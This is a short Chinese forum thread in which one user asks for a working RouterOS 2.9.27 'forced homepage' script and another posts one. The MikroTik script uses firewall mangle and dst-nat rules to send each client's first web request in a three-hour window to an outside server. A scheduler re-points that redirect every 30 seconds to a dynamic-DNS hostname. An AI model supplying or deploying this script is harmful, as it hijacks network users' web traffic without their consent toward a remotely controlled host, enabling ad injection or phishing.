2.927高手请进
高手们,你们有没有ROS2.9.27强开首页的脚本, 要实用的,有很多朋友发过,可是都不好用, 实用的,调几下不久行了, 猛男,你终于出现了,, 能否给我脚本啊 #:global a [:resolve www.sina.com.cn]
#:global a [:resolve wangpeilong.changeip.net]
:global a [:resolve www.bj-zhkj.net]
:local StrToAddress
:set StrToAddress $a
:local StrToPort
:set StrToPort 80
:local StrTimeOut1
:set StrTimeOut1 2s
:local StrTimeOut2
:set StrTimeOut2 3h
ip firewall mangle add chain=prerouting protocol=tcp dst-port=80 src-address-list=!src2 \
action=add-src-to-address-list address-list=src1 address-list-timeout=$StrTimeOut1 comment=TimeOut1
ip firewall mangle add chain=prerouting protocol=tcp dst-port=80 \
action=add-src-to-address-list address-list=src2 address-list-timeout=$StrTimeOut2 comment=TimeOut2
ip firewall nat add chain=dstnat protocol=tcp dst-port=80 src-address-list=src1 \
action=dst-nat to-addresses=$StrToAddress to-ports=$StrToPort comment=ToAddress
/system script add name="biren" source={
:global b [:resolve wangpeilong.changeip.net]
ip firewall nat set to-addresses=$b
}
/system scheduler add name=bb interval=30s on-event=biren
页:
[1]